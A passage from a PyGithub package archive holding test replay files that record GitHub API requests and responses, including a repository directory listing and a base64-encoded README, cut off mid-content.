('x-oauth-client-id', 'd408456562a3db38febf'), ('x-oauth-scopes', 'repo, write:repo_hook'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"c75510b6d23cfb87768b59121bb1763a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '5DE87F72:75F9:9EF346:57DA8E59'), ('last-modified', 'Thu, 15 Sep 2016 12:04:32 GMT'), ('date', 'Thu, 15 Sep 2016 12:04:42 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1473942365')] [{"name":".gitignore","path":".gitignore","sha":"43d495ed8185348ef800ccd768bf9eb47eea433b","size":2036,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/.gitignore?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/.gitignore","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/43d495ed8185348ef800ccd768bf9eb47eea433b","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/.gitignore","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/.gitignore?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/43d495ed8185348ef800ccd768bf9eb47eea433b","html":"https://github.com/jayfk/PyGithub/blob/master/.gitignore"}},{"name":".travis.yml","path":".travis.yml","sha":"5b7b29ac787f3a535eff409592ef40ccd04595d8","size":494,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/.travis.yml?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/.travis.yml","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/5b7b29ac787f3a535eff409592ef40ccd04595d8","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/.travis.yml","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/.travis.yml?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/5b7b29ac787f3a535eff409592ef40ccd04595d8","html":"https://github.com/jayfk/PyGithub/blob/master/.travis.yml"}},{"name":"CONTRIBUTING.md","path":"CONTRIBUTING.md","sha":"138fa737b13a13582bf53acea7ee534aa197328a","size":2424,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/CONTRIBUTING.md?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/CONTRIBUTING.md","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/138fa737b13a13582bf53acea7ee534aa197328a","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/CONTRIBUTING.md","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/CONTRIBUTING.md?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/138fa737b13a13582bf53acea7ee534aa197328a","html":"https://github.com/jayfk/PyGithub/blob/master/CONTRIBUTING.md"}},{"name":"COPYING","path":"COPYING","sha":"94a9ed024d3859793618152ea559a168bbcbb5e2","size":35147,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/COPYING","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/COPYING","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","html":"https://github.com/jayfk/PyGithub/blob/master/COPYING"}},{"name":"COPYING.LESSER","path":"COPYING.LESSER","sha":"65c5ca88a67c30becee01c5a8816d964b03862f9","size":7651,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING.LESSER?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/COPYING.LESSER","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/65c5ca88a67c30becee01c5a8816d964b03862f9","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/COPYING.LESSER","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING.LESSER?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/65c5ca88a67c30becee01c5a8816d964b03862f9","html":"https://github.com/jayfk/PyGithub/blob/master/COPYING.LESSER"}},{"name":"MAINTAINERS","path":"MAINTAINERS","sha":"f8cbd3bbeba08404099c4bc57135b7d21b9e5616","size":216,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/MAINTAINERS?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/MAINTAINERS","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/f8cbd3bbeba08404099c4bc57135b7d21b9e5616","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/MAINTAINERS","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/MAINTAINERS?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/f8cbd3bbeba08404099c4bc57135b7d21b9e5616","html":"https://github.com/jayfk/PyGithub/blob/master/MAINTAINERS"}},{"name":"MANIFEST.in","path":"MANIFEST.in","sha":"501859533a9b38d0705e5c8cab4380610d574dd7","size":35,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/MANIFEST.in?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/MANIFEST.in","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/501859533a9b38d0705e5c8cab4380610d574dd7","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/MANIFEST.in","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/MANIFEST.in?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/501859533a9b38d0705e5c8cab4380610d574dd7","html":"https://github.com/jayfk/PyGithub/blob/master/MANIFEST.in"}},{"name":"README.md","path":"README.md","sha":"ae065a7ba88a6614cb0a8cdbe5bd58a317654548","size":1570,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/README.md?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/README.md","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/ae065a7ba88a6614cb0a8cdbe5bd58a317654548","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/README.md","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/README.md?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/ae065a7ba88a6614cb0a8cdbe5bd58a317654548","html":"https://github.com/jayfk/PyGithub/blob/master/README.md"}},{"name":"doc","path":"doc","sha":"42cda5799d4f5668c7d59e17c1593debe6410f7f","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/doc?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/doc","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/42cda5799d4f5668c7d59e17c1593debe6410f7f","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/doc?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/42cda5799d4f5668c7d59e17c1593debe6410f7f","html":"https://github.com/jayfk/PyGithub/tree/master/doc"}},{"name":"github","path":"github","sha":"357dd749e9f089b6fc1a7437326d75dc2700eb3e","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/github?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/github","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/357dd749e9f089b6fc1a7437326d75dc2700eb3e","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/github?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/357dd749e9f089b6fc1a7437326d75dc2700eb3e","html":"https://github.com/jayfk/PyGithub/tree/master/github"}},{"name":"manage.sh","path":"manage.sh","sha":"8ce7c88318a3cc25f368d7a43e69a41b8460e68f","size":2582,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/manage.sh?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/manage.sh","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/8ce7c88318a3cc25f368d7a43e69a41b8460e68f","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/manage.sh","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/manage.sh?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/8ce7c88318a3cc25f368d7a43e69a41b8460e68f","html":"https://github.com/jayfk/PyGithub/blob/master/manage.sh"}},{"name":"python25-requirements.txt","path":"python25-requirements.txt","sha":"322630ee75f32576be6c69b4de9deb73cddc430c","size":11,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/python25-requirements.txt?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/python25-requirements.txt","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/322630ee75f32576be6c69b4de9deb73cddc430c","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/python25-requirements.txt","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/python25-requirements.txt?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/322630ee75f32576be6c69b4de9deb73cddc430c","html":"https://github.com/jayfk/PyGithub/blob/master/python25-requirements.txt"}},{"name":"scripts","path":"scripts","sha":"95e3c1f29331e6de4c3833022fb1a78ef039bb6f","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/scripts?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/scripts","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/95e3c1f29331e6de4c3833022fb1a78ef039bb6f","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/scripts?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/95e3c1f29331e6de4c3833022fb1a78ef039bb6f","html":"https://github.com/jayfk/PyGithub/tree/master/scripts"}},{"name":"setup.py","path":"setup.py","sha":"75a4afa35995089741a2089c5356e2b1af3d85cd","size":4094,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/setup.py?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/setup.py","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/75a4afa35995089741a2089c5356e2b1af3d85cd","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/setup.py","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/setup.py?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/75a4afa35995089741a2089c5356e2b1af3d85cd","html":"https://github.com/jayfk/PyGithub/blob/master/setup.py"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetContentsDirWithSlash.txt0000644000175100001660000002622114756101563026523 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/contents/ {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '9998'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '01d096e6cfe28f8aea352e988c332cd3'), ('x-oauth-client-id', 'd408456562a3db38febf'), ('x-oauth-scopes', 'repo, write:repo_hook'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"c75510b6d23cfb87768b59121bb1763a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '5DE87F72:75F9:9EF346:57DA8E59'), ('last-modified', 'Thu, 15 Sep 2016 12:04:32 GMT'), ('date', 'Thu, 15 Sep 2016 12:04:42 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1473942365')] [{"name":".gitignore","path":".gitignore","sha":"43d495ed8185348ef800ccd768bf9eb47eea433b","size":2036,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/.gitignore?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/.gitignore","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/43d495ed8185348ef800ccd768bf9eb47eea433b","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/.gitignore","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/.gitignore?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/43d495ed8185348ef800ccd768bf9eb47eea433b","html":"https://github.com/jayfk/PyGithub/blob/master/.gitignore"}},{"name":".travis.yml","path":".travis.yml","sha":"5b7b29ac787f3a535eff409592ef40ccd04595d8","size":494,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/.travis.yml?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/.travis.yml","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/5b7b29ac787f3a535eff409592ef40ccd04595d8","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/.travis.yml","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/.travis.yml?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/5b7b29ac787f3a535eff409592ef40ccd04595d8","html":"https://github.com/jayfk/PyGithub/blob/master/.travis.yml"}},{"name":"CONTRIBUTING.md","path":"CONTRIBUTING.md","sha":"138fa737b13a13582bf53acea7ee534aa197328a","size":2424,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/CONTRIBUTING.md?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/CONTRIBUTING.md","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/138fa737b13a13582bf53acea7ee534aa197328a","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/CONTRIBUTING.md","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/CONTRIBUTING.md?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/138fa737b13a13582bf53acea7ee534aa197328a","html":"https://github.com/jayfk/PyGithub/blob/master/CONTRIBUTING.md"}},{"name":"COPYING","path":"COPYING","sha":"94a9ed024d3859793618152ea559a168bbcbb5e2","size":35147,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/COPYING","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/COPYING","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","html":"https://github.com/jayfk/PyGithub/blob/master/COPYING"}},{"name":"COPYING.LESSER","path":"COPYING.LESSER","sha":"65c5ca88a67c30becee01c5a8816d964b03862f9","size":7651,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING.LESSER?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/COPYING.LESSER","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/65c5ca88a67c30becee01c5a8816d964b03862f9","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/COPYING.LESSER","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING.LESSER?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/65c5ca88a67c30becee01c5a8816d964b03862f9","html":"https://github.com/jayfk/PyGithub/blob/master/COPYING.LESSER"}},{"name":"MAINTAINERS","path":"MAINTAINERS","sha":"f8cbd3bbeba08404099c4bc57135b7d21b9e5616","size":216,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/MAINTAINERS?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/MAINTAINERS","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/f8cbd3bbeba08404099c4bc57135b7d21b9e5616","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/MAINTAINERS","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/MAINTAINERS?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/f8cbd3bbeba08404099c4bc57135b7d21b9e5616","html":"https://github.com/jayfk/PyGithub/blob/master/MAINTAINERS"}},{"name":"MANIFEST.in","path":"MANIFEST.in","sha":"501859533a9b38d0705e5c8cab4380610d574dd7","size":35,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/MANIFEST.in?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/MANIFEST.in","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/501859533a9b38d0705e5c8cab4380610d574dd7","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/MANIFEST.in","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/MANIFEST.in?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/501859533a9b38d0705e5c8cab4380610d574dd7","html":"https://github.com/jayfk/PyGithub/blob/master/MANIFEST.in"}},{"name":"README.md","path":"README.md","sha":"ae065a7ba88a6614cb0a8cdbe5bd58a317654548","size":1570,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/README.md?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/README.md","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/ae065a7ba88a6614cb0a8cdbe5bd58a317654548","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/README.md","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/README.md?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/ae065a7ba88a6614cb0a8cdbe5bd58a317654548","html":"https://github.com/jayfk/PyGithub/blob/master/README.md"}},{"name":"doc","path":"doc","sha":"42cda5799d4f5668c7d59e17c1593debe6410f7f","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/doc?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/doc","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/42cda5799d4f5668c7d59e17c1593debe6410f7f","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/doc?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/42cda5799d4f5668c7d59e17c1593debe6410f7f","html":"https://github.com/jayfk/PyGithub/tree/master/doc"}},{"name":"github","path":"github","sha":"357dd749e9f089b6fc1a7437326d75dc2700eb3e","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/github?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/github","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/357dd749e9f089b6fc1a7437326d75dc2700eb3e","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/github?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/357dd749e9f089b6fc1a7437326d75dc2700eb3e","html":"https://github.com/jayfk/PyGithub/tree/master/github"}},{"name":"manage.sh","path":"manage.sh","sha":"8ce7c88318a3cc25f368d7a43e69a41b8460e68f","size":2582,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/manage.sh?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/manage.sh","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/8ce7c88318a3cc25f368d7a43e69a41b8460e68f","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/manage.sh","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/manage.sh?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/8ce7c88318a3cc25f368d7a43e69a41b8460e68f","html":"https://github.com/jayfk/PyGithub/blob/master/manage.sh"}},{"name":"python25-requirements.txt","path":"python25-requirements.txt","sha":"322630ee75f32576be6c69b4de9deb73cddc430c","size":11,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/python25-requirements.txt?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/python25-requirements.txt","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/322630ee75f32576be6c69b4de9deb73cddc430c","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/python25-requirements.txt","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/python25-requirements.txt?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/322630ee75f32576be6c69b4de9deb73cddc430c","html":"https://github.com/jayfk/PyGithub/blob/master/python25-requirements.txt"}},{"name":"scripts","path":"scripts","sha":"95e3c1f29331e6de4c3833022fb1a78ef039bb6f","size":0,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/scripts?ref=master","html_url":"https://github.com/jayfk/PyGithub/tree/master/scripts","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/trees/95e3c1f29331e6de4c3833022fb1a78ef039bb6f","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/scripts?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/trees/95e3c1f29331e6de4c3833022fb1a78ef039bb6f","html":"https://github.com/jayfk/PyGithub/tree/master/scripts"}},{"name":"setup.py","path":"setup.py","sha":"75a4afa35995089741a2089c5356e2b1af3d85cd","size":4094,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/setup.py?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/setup.py","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/75a4afa35995089741a2089c5356e2b1af3d85cd","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/setup.py","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/setup.py?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/75a4afa35995089741a2089c5356e2b1af3d85cd","html":"https://github.com/jayfk/PyGithub/blob/master/setup.py"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetContentsWithRef.txt0000644000175100001660000015305314756101563025532 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/readme?ref=refs%2Fheads%2Ftopic%2FExperimentOnDocumentation {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '7693'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 21:22:43 GMT'), ('connection', 'keep-alive'), ('etag', '"7c2a77b0e46dda4d6e11562d52ec5ae0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 10:46:11 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] {"type":"file","html_url":"https://github.com/PyGithub/PyGithub/blob/refs/heads/topic/ExperimentOnDocumentation/ReadMe.rst","path":"ReadMe.rst","url":"https://api.github.com/repos/PyGithub/PyGithub/contents/ReadMe.rst?ref=refs/heads/topic/ExperimentOnDocumentation","content":"VGhpcyBpcyBhIFB5dGhvbiAoMiBhbmQgMykgbGlicmFyeSB0byBhY2Nlc3Mg\ndGhlIGBHaXRodWIgQVBJIHYzIDxodHRwOi8vZGV2ZWxvcGVyLmdpdGh1Yi5j\nb20vdjM+YF8uCgpXaXRoIGl0LCB5b3UgY2FuIG1hbmFnZSB5b3VyIGBHaXRo\ndWIgPGh0dHA6Ly9naXRodWIuY29tPmBfIHJlc291cmNlcyAocmVwb3NpdG9y\naWVzLCB1c2VyIHByb2ZpbGVzLCBvcmdhbml6YXRpb25zLCBldGMuKSBmcm9t\nIFB5dGhvbiBzY3JpcHRzLgoKSXQgY292ZXJzIHRoZSAqKmZ1bGwqKiBBUEks\nIGFuZCBhbGwgbWV0aG9kcyBhcmUgdGVzdGVkIGFnYWluc3QgdGhlIHJlYWwg\nR2l0aHViIHNpdGUuCgpTaG91bGQgeW91IGhhdmUgYW55IHF1ZXN0aW9uLCBv\nciBpZiB5b3UgZmluZCBhIGJ1Zywgb3IgaWYgdGhlcmUgaXMgc29tZXRoaW5n\nIHlvdSBjYW4gZG8gd2l0aCB0aGUgQVBJIGJ1dCBub3Qgd2l0aCBQeUdpdGh1\nYiwgcGxlYXNlIGBvcGVuIGFuIGlzc3VlIDxodHRwczovL2dpdGh1Yi5jb20v\namFjcXVldjYvUHlHaXRodWIvaXNzdWVzPmBfLgoKUHlHaXRodWIgaXMgc3Rh\nYmxlLiBJIHdpbGwgbWFpbnRhaW4gaXQgdXAgdG8gZGF0ZSB3aXRoIHRoZSBB\nUEksIGFuZCBmaXggYnVncyBpZiBhbnksIGJ1dCBJIGRvbid0IHBsYW4gbmV3\nIGhlYXZ5IGRldmVsb3BtZW50cy4KCldoYXQncyBuZXc/Cj09PT09PT09PT09\nCgpgIVtCdWlsZCBTdGF0dXNdKGh0dHBzOi8vc2VjdXJlLnRyYXZpcy1jaS5v\ncmcvamFjcXVldjYvUHlHaXRodWIucG5nKV0gPGh0dHA6Ly90cmF2aXMtY2ku\nb3JnL2phY3F1ZXY2L1B5R2l0aHViPmBfCgpOZXh0IHZlcnNpb24KLS0tLS0t\nLS0tLS0tCgoqIE1ham9yIGltcHJvdmVtZW50OiBzdXBwb3J0IFB5dGhvbiAz\nISBQeUdpdGh1YiBpcyBhdXRvbWF0aWNhbHkgdGVzdGVkIG9uIGBUcmF2aXMg\nPGh0dHA6Ly90cmF2aXMtY2kub3JnL2phY3F1ZXY2L1B5R2l0aHViPmBfIHdp\ndGggdmVyc2lvbnMgMi41LCAyLjYsIDIuNywgMy4xIGFuZCAzLjIgb2YgUHl0\naG9uCiogQWRkIGEgc2hvcnRjdXQgZnVuY3Rpb24gJ0dpdGh1Yi5nZXRfcmVw\nbycgdG8gZ2V0IGEgcmVwbyBkaXJlY3RseSBmcm9tIGl0cyBmdWxsIG5hbWUu\nIHRoYW5rIHlvdSBgbHdjIDxodHRwczovL2dpdGh1Yi5jb20vbHdjPmBfIGZv\nciB0aGUgY29udHJpYnV0aW9uCiogJ0dpdGh1Yi5nZXRfZ2l0aWdub3JlX3Rl\nbXBsYXRlcycgYW5kICdHaXRodWIuZ2V0X2dpdGlnbm9yZV90ZW1wbGF0ZScg\nZm9yIEFQSXMgJy9naXRpZ25vcmUvdGVtcGxhdGVzJwoKYFZlcnNpb24gMS45\nLjEgPGh0dHBzOi8vZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9pc3N1\nZXM/bWlsZXN0b25lPTE3JnN0YXRlPWNsb3NlZD5gXyAoTm92ZW1iZXIgMjB0\naCwgMjAxMikKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiogRml4IGFuIGFzc2Vy\ndGlvbiBmYWlsdXJlIHdoZW4gaW50ZWdlcnMgcmV0dXJuZWQgYnkgR2l0aHVi\nIGRvIG5vdCBmaXQgaW4gYSBQeXRob24gYGludGAKCmBWZXJzaW9uIDEuOS4w\nIDxodHRwczovL2dpdGh1Yi5jb20vamFjcXVldjYvUHlHaXRodWIvaXNzdWVz\nP21pbGVzdG9uZT0xNCZzdGF0ZT1jbG9zZWQ+YF8gKE5vdmVtYmVyIDE5dGgs\nIDIwMTIpCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgoqIFlvdSBjYW4gbm93IHVz\nZSB5b3VyIGNsaWVudF9pZCBhbmQgY2xpZW50X3NlY3JldCB0byBpbmNyZWFz\nZSByYXRlIGxpbWl0aW5nIHdpdGhvdXQgYXV0aGVudGljYXRpb24KKiBZb3Ug\nY2FuIG5vdyBzZW5kIGEgY3VzdG9tIFVzZXItQWdlbnQKKiBQdWxsUmVxdWVz\ndCBub3cgaGFzIGl0cyAnYXNzaWduZWUnIGF0dHJpYnV0ZSwgdGhhbmsgeW91\nIGBtc3RlYWQgPGh0dHBzOi8vZ2l0aHViLmNvbS9tc3RlYWQ+YF8KKiBSZXBv\nc2l0b3J5LmVkaXQgbm93I